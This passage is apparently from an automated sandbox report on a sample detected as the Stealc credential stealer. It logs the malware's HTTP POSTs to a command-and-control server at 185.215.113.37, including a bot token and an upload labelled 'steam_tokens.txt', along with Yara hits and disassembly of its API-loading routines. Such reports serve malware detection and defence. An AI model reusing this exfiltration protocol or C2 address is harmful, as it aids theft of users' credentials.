Oct 10, 2024 10:09:55.950649023 CEST	466	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHIDBAEGIIIDHJKEGDB Host: 185.215.113.37 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 44 42 41 45 47 49 49 49 44 48 4a 4b 45 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 32 35 66 37 62 30 34 61 34 38 37 66 32 31 32 65 30 66 64 30 34 38 31 39 65 38 32 35 37 65 34 30 35 62 32 37 30 36 64 38 39 62 64 30 63 32 61 30 61 63 31 65 63 62 63 33 61 64 39 37 30 62 31 39 64 31 66 38 36 37 34 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 44 42 41 45 47 49 49 49 44 48 4a 4b 45 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 44 42 41 45 47 49 49 49 44 48 4a 4b 45 47 44 42 2d 2d 0d 0a Data Ascii: ------IDHIDBAEGIIIDHJKEGDBContent-Disposition: form-data; name="token"d25f7b04a487f212e0fd04819e8257e405b2706d89bd0c2a0ac1ecbc3ad970b19d1f8674------IDHIDBAEGIIIDHJKEGDBContent-Disposition: form-data; name="message"files------IDHIDBAEGIIIDHJKEGDB--
Oct 10, 2024 10:09:56.171977997 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:09:56 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 10, 2024 10:09:56.183581114 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHJDHDAECBGCAKEBAEBA Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 44 48 44 41 45 43 42 47 43 41 4b 45 42 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 32 35 66 37 62 30 34 61 34 38 37 66 32 31 32 65 30 66 64 30 34 38 31 39 65 38 32 35 37 65 34 30 35 62 32 37 30 36 64 38 39 62 64 30 63 32 61 30 61 63 31 65 63 62 63 33 61 64 39 37 30 62 31 39 64 31 66 38 36 37 34 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 48 44 41 45 43 42 47 43 41 4b 45 42 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 48 44 41 45 43 42 47 43 41 4b 45 42 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GHJDHDAECBGCAKEBAEBAContent-Disposition: form-data; name="token"d25f7b04a487f212e0fd04819e8257e405b2706d89bd0c2a0ac1ecbc3ad970b19d1f8674------GHJDHDAECBGCAKEBAEBAContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GHJDHDAECBGCAKEBAEBAContent-Disposition: form-data; name="file"------GHJDHDAECBGCAKEBAEBA--
Oct 10, 2024 10:09:56.894973040 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:09:56 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 10, 2024 10:09:56.925549984 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDAAAAFIIJDBGDGCGDAK Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 41 41 41 41 46 49 49 4a 44 42 47 44 47 43 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 32 35 66 37 62 30 34 61 34 38 37 66 32 31 32 65 30 66 64 30 34 38 31 39 65 38 32 35 37 65 34 30 35 62 32 37 30 36 64 38 39 62 64 30 63 32 61 30 61 63 31 65 63 62 63 33 61 64 39 37 30 62 31 39 64 31 66 38 36 37 34 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 41 41 41 46 49 49 4a 44 42 47 44 47 43 47 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 41 41 41 46 49 49 4a 44 42 47 44 47 43 47 44 41 4b 2d 2d 0d 0a Data Ascii: ------HDAAAAFIIJDBGDGCGDAKContent-Disposition: form-data; name="token"d25f7b04a487f212e0fd04819e8257e405b2706d89bd0c2a0ac1ecbc3ad970b19d1f8674------HDAAAAFIIJDBGDGCGDAKContent-Disposition: form-data; name="message"ybncbhylepme------HDAAAAFIIJDBGDGCGDAK--
Oct 10, 2024 10:09:57.149434090 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:09:57 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 32 30 30 63 0d 0a 2a 2e 70 6c 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 67 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 69 6e 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 70 74 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 64 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f [TRUNCATED] Data Ascii: 200c.pl<br> 1.google.com.google.com<br>.ar<br> 1.google.com.google.com<br>.br<br> 1.google.com.google.com<br>.ec<br> 1.google.com.google.com<br>.eg<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.pt<br> 1.google.com.google.com<br>.ac<br> 1.google.com.google.com<br>.bd<br> 1.google.com.google.com<br>.zm<br> 1.google.com.google.com<br>.ve<br> 1.google.com.google.com<br>.pk<br> 1.google.com.google.com<br>.rs<br> 1.google.com.google.com<br>.ph<br> 1.google.com.google.com<br>.mx<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.th<br> 1.google.com.google.com<br>.id<br> 1.google.com.google.com<br>.tr<br> 1.google.com.google.com<br>.cz<br> 1.google.com.google.com<br>.io<br> 1.google.com.google.com<br>.dz<br> 1.google.com.google.com<br>.de<br> 1.google.com.google.com<br>.kr<br> 1.google.com.google.com<br>.ma<br> 1.google.com.google.com<br>.jp<br> 1.google.com
Oct 10, 2024 10:09:57.263042927 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEHIDAKECFIEBGDHJEBK Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 32 35 66 37 62 30 34 61 34 38 37 66 32 31 32 65 30 66 64 30 34 38 31 39 65 38 32 35 37 65 34 30 35 62 32 37 30 36 64 38 39 62 64 30 63 32 61 30 61 63 31 65 63 62 63 33 61 64 39 37 30 62 31 39 64 31 66 38 36 37 34 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 2d 2d 0d 0a Data Ascii: ------AEHIDAKECFIEBGDHJEBKContent-Disposition: form-data; name="token"d25f7b04a487f212e0fd04819e8257e405b2706d89bd0c2a0ac1ecbc3ad970b19d1f8674------AEHIDAKECFIEBGDHJEBKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AEHIDAKECFIEBGDHJEBK--
Oct 10, 2024 10:09:57.471121073 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEHIDAKECFIEBGDHJEBK Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 32 35 66 37 62 30 34 61 34 38 37 66 32 31 32 65 30 66 64 30 34 38 31 39 65 38 32 35 37 65 34 30 35 62 32 37 30 36 64 38 39 62 64 30 63 32 61 30 61 63 31 65 63 62 63 33 61 64 39 37 30 62 31 39 64 31 66 38 36 37 34 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 2d 2d 0d 0a Data Ascii: ------AEHIDAKECFIEBGDHJEBKContent-Disposition: form-data; name="token"d25f7b04a487f212e0fd04819e8257e405b2706d89bd0c2a0ac1ecbc3ad970b19d1f8674------AEHIDAKECFIEBGDHJEBKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AEHIDAKECFIEBGDHJEBK--
Oct 10, 2024 10:09:57.783122063 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEHIDAKECFIEBGDHJEBK Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 32 35 66 37 62 30 34 61 34 38 37 66 32 31 32 65 30 66 64 30 34 38 31 39 65 38 32 35 37 65 34 30 35 62 32 37 30 36 64 38 39 62 64 30 63 32 61 30 61 63 31 65 63 62 63 33 61 64 39 37 30 62 31 39 64 31 66 38 36 37 34 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 4b 2d 2d 0d 0a Data Ascii: ------AEHIDAKECFIEBGDHJEBKContent-Disposition: form-data; name="token"d25f7b04a487f212e0fd04819e8257e405b2706d89bd0c2a0ac1ecbc3ad970b19d1f8674------AEHIDAKECFIEBGDHJEBKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AEHIDAKECFIEBGDHJEBK--
Oct 10, 2024 10:09:58.185580969 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:09:57 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	4
Start time:	04:09:33
Start date:	10/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xd70000
File size:	1'832'960 bytes
MD5 hash:	5CFBE0DA0B40BBEB190147DFCC81172A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000003.1294425570.00000000056F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000004.00000002.1532715149.0000000001AEE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.1532715149.0000000001AEE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	11.2%
Total number of Nodes:	2000
Total number of Limit Nodes:	37

Executed Functions

Function 00D89860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(77190000,01B017E8), ref: 00D898A1
GetProcAddress.KERNEL32(77190000,01B016E0), ref: 00D898BA
GetProcAddress.KERNEL32(77190000,01B01500), ref: 00D898D2
GetProcAddress.KERNEL32(77190000,01B01578), ref: 00D898EA
GetProcAddress.KERNEL32(77190000,01B01590), ref: 00D89903
GetProcAddress.KERNEL32(77190000,01B08A40), ref: 00D8991B
GetProcAddress.KERNEL32(77190000,01AF5510), ref: 00D89933
GetProcAddress.KERNEL32(77190000,01AF54F0), ref: 00D8994C
GetProcAddress.KERNEL32(77190000,01B016F8), ref: 00D89964
GetProcAddress.KERNEL32(77190000,01B015A8), ref: 00D8997C
GetProcAddress.KERNEL32(77190000,01B01740), ref: 00D89995
GetProcAddress.KERNEL32(77190000,01B01758), ref: 00D899AD
GetProcAddress.KERNEL32(77190000,01AF5570), ref: 00D899C5
GetProcAddress.KERNEL32(77190000,01B01770), ref: 00D899DE
GetProcAddress.KERNEL32(77190000,01B015C0), ref: 00D899F6
GetProcAddress.KERNEL32(77190000,01AF56D0), ref: 00D89A0E
GetProcAddress.KERNEL32(77190000,01B01788), ref: 00D89A27
GetProcAddress.KERNEL32(77190000,01B017B8), ref: 00D89A3F
GetProcAddress.KERNEL32(77190000,01AF55D0), ref: 00D89A57
GetProcAddress.KERNEL32(77190000,01B01878), ref: 00D89A70
GetProcAddress.KERNEL32(77190000,01AF55B0), ref: 00D89A88
LoadLibraryA.KERNEL32(01B018A8,?,00D86A00), ref: 00D89A9A
LoadLibraryA.KERNEL32(01B01860,?,00D86A00), ref: 00D89AAB
LoadLibraryA.KERNEL32(01B01890,?,00D86A00), ref: 00D89ABD
LoadLibraryA.KERNEL32(01B018C0,?,00D86A00), ref: 00D89ACF
LoadLibraryA.KERNEL32(01B01800,?,00D86A00), ref: 00D89AE0
GetProcAddress.KERNEL32(76850000,01B01818), ref: 00D89B02
GetProcAddress.KERNEL32(77040000,01B01848), ref: 00D89B23
GetProcAddress.KERNEL32(77040000,01B01830), ref: 00D89B3B
GetProcAddress.KERNEL32(75A10000,01B08CC8), ref: 00D89B5D
GetProcAddress.KERNEL32(75690000,01AF5390), ref: 00D89B7E
GetProcAddress.KERNEL32(776F0000,01B08A30), ref: 00D89B9F
GetProcAddress.KERNEL32(776F0000,NtQueryInformationProcess), ref: 00D89BB6

Strings

NtQueryInformationProcess, xrefs: 00D89BAA

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532250011.0000000001269000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532364392.0000000001402000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1532383973.0000000001403000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d70000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 0a006211f1592061cbd5a66db421192acd83438ae2a3fb9a01e95190f1611065
Instruction ID: d58d6e9b6dbc10c0d84e83fc915ccf4b6bee437afdb18a2fc55247671c3fc0a1
Opcode Fuzzy Hash: 0a006211f1592061cbd5a66db421192acd83438ae2a3fb9a01e95190f1611065
Instruction Fuzzy Hash: 63A14EB9604248AFD354EFA8FDC896637F9F74C301768471AA605C3664DB3A9841FF22

Function 00D745C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00D7460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00D7479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D746C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D74617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D74729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D745D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D74734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D746CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D7474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D7471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D74765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D74713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D7462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D74643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D74683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D745C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D745DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D746B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D746D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D74638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D746AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D7473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D7477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D745F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D74678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D74770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D74662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D745E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D74657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D7466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D74622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00D7475A

Memory Dump Source

Source File: 00000004.00000002.1531626316.0000000000D71000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000004.00000002.1531605030.0000000000D70000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DCA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DF8000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000DFF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E02000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E21000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E2D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E52000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E5F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000E8E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531626316.0000000000F3B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000000FCE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001154000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001230000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001252000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.000000000125A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1531992026.0000000001268000.00000040.00000001.01000000.00000004.sdmpDownload File
